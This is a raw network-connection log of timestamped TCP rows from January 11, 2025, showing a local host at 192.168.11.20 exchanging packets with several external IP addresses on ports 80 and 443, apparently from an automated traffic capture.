Jan 11, 2025 07:54:00.282030106 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.282046080 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282160044 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282289028 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282370090 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.282406092 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282525063 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282536030 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.282668114 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282716990 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.282747984 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282861948 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.282983065 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283050060 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.283104897 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283216000 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283216953 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.283216953 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.283356905 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283365965 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.283493996 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283566952 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283684969 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283705950 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.283835888 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.283879042 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.283917904 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284034967 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284163952 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284215927 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.284276962 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284385920 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.284389973 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284513950 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284620047 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284724951 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.284735918 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284851074 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.284898996 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.284970999 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285089970 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285204887 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285240889 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.285368919 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285408974 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.285442114 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285566092 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285576105 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.285702944 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285746098 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.285797119 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.285907984 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286024094 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286088943 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.286150932 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286257982 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.286262035 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286398888 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286427975 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.286501884 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286619902 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286722898 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286767006 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.286839008 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.286936998 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.286962986 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287081957 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287190914 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287280083 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.287308931 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287419081 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287446976 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.287571907 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287616968 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.287661076 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287775993 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287892103 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.287960052 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.288002968 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288125992 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288130999 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.288254976 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288296938 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.288363934 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288480043 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288593054 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288640022 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.288712025 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288808107 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.288836002 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.288953066 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289062977 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289150000 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.289177895 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289288044 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289316893 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.289438009 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289526939 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289643049 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289655924 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.289796114 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289829969 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.289889097 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289995909 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.289999008 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.290121078 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290167093 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.290242910 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290353060 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290463924 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290507078 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.290632963 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290677071 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.290705919 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290826082 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.290847063 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.290971994 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.291047096 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.291115046 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.291188955 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.291359901 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.347695112 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:00.567703009 CET	80	49759	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:00.567893028 CET	49759	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:03.068653107 CET	49760	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:04.071615934 CET	49760	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:05.878906965 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:05.878938913 CET	443	49761	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:05.879087925 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.008898973 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.008912086 CET	443	49761	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:06.086885929 CET	49760	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:06.475445032 CET	443	49761	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:06.475617886 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.476002932 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.476012945 CET	443	49761	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:06.477092981 CET	443	49761	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:06.477358103 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.493736029 CET	49761	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.597520113 CET	49762	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:06.820859909 CET	80	49762	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:06.821043015 CET	49762	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:10.101603985 CET	49760	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:11.546447039 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:11.546489000 CET	443	49763	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:11.547123909 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:11.698925018 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:11.698949099 CET	443	49763	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:12.154685020 CET	443	49763	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:12.155436993 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.155963898 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.155980110 CET	443	49763	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:12.156153917 CET	443	49763	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:12.157007933 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.339353085 CET	49763	443	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.502202034 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.730062008 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:12.730236053 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.789820910 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:12.820422888 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.017782927 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.019491911 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.019522905 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.019625902 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:13.019710064 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.026098967 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:13.042077065 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.042288065 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.042390108 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.255181074 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.255377054 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.255764008 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:13.264193058 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.264702082 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.264826059 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.264935970 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.264967918 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.265153885 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.265153885 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.305018902 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.318856955 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:13.526649952 CET	80	49765	185.125.51.5	192.168.11.20
Jan 11, 2025 07:54:13.526776075 CET	49765	80	192.168.11.20	185.125.51.5
Jan 11, 2025 07:54:13.588696957 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.601556063 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:13.648243904 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:13.798063993 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:14.026041985 CET	80	49764	57.129.37.157	192.168.11.20
Jan 11, 2025 07:54:14.026475906 CET	49764	80	192.168.11.20	57.129.37.157
Jan 11, 2025 07:54:14.094108105 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.094130039 CET	443	49766	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:14.094301939 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.209774971 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.209788084 CET	443	49766	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:14.454071999 CET	443	49766	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:14.454879045 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.454879045 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.454893112 CET	443	49766	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:14.455025911 CET	443	49766	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:14.455383062 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.611514091 CET	49766	443	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.735419989 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.853837013 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:14.854504108 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:14.919289112 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.037715912 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.039568901 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.046508074 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.165843964 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.166032076 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.166687965 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.210036993 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.368995905 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.489640951 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.537861109 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.783618927 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.783618927 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.805115938 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:15.902168989 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.902182102 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:15.923543930 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.051769018 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.060169935 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.060468912 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:16.087112904 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.094135046 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.094409943 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:16.095338106 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:16.101617098 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.144349098 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.144943953 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:16.213725090 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.386044025 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.386056900 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:16.386203051 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:18.115514994 CET	49760	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:21.052351952 CET	49753	80	192.168.11.20	172.217.0.163
Jan 11, 2025 07:54:21.052366972 CET	49751	80	192.168.11.20	199.232.210.172
Jan 11, 2025 07:54:21.170435905 CET	80	49751	199.232.210.172	192.168.11.20
Jan 11, 2025 07:54:21.170445919 CET	80	49751	199.232.210.172	192.168.11.20
Jan 11, 2025 07:54:21.170677900 CET	49751	80	192.168.11.20	199.232.210.172
Jan 11, 2025 07:54:21.170737028 CET	80	49753	172.217.0.163	192.168.11.20
Jan 11, 2025 07:54:21.170900106 CET	49753	80	192.168.11.20	172.217.0.163
Jan 11, 2025 07:54:24.287962914 CET	49769	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:25.301278114 CET	49769	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:26.394881964 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:26.505059004 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:26.505357027 CET	49767	80	192.168.11.20	160.202.165.71
Jan 11, 2025 07:54:26.513231039 CET	80	49767	160.202.165.71	192.168.11.20
Jan 11, 2025 07:54:27.301014900 CET	49769	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:28.387480021 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.387517929 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.387641907 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.387676001 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.387690067 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.387844086 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.391360044 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.391383886 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.391473055 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.391505003 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.768925905 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.769304037 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.769335032 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.771842957 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.772069931 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.774620056 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.775029898 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:28.775060892 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.778629065 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:28.778865099 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.177050114 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.177186966 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.177212000 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.177247047 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.177321911 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.177541971 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.227725983 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.227725983 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.227745056 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.227751970 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.273595095 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.273925066 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328073025 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328100920 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328105927 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328201056 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328211069 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328238964 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328238964 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328280926 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328418970 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328422070 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328443050 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328454971 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328613043 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328779936 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.328967094 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.328989983 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.329188108 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.329274893 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.329408884 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.383032084 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.445801973 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.445808887 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.446033955 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.446115017 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.446295977 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.446444988 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.446631908 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.446805000 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.447046995 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.447153091 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.447355032 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.447690964 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.447866917 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.447956085 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.447958946 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.447984934 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.448127031 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.448333025 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.448600054 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.448621035 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.448667049 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.448781967 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.448796988 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.448909044 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.448976994 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.449074984 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.449115992 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.449259043 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.449306965 CET	50906	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.449328899 CET	443	50906	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.449842930 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.457371950 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.457405090 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.457612038 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.457776070 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.457786083 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.490262032 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691519022 CET	443	58637	204.79.197.203	192.168.11.20
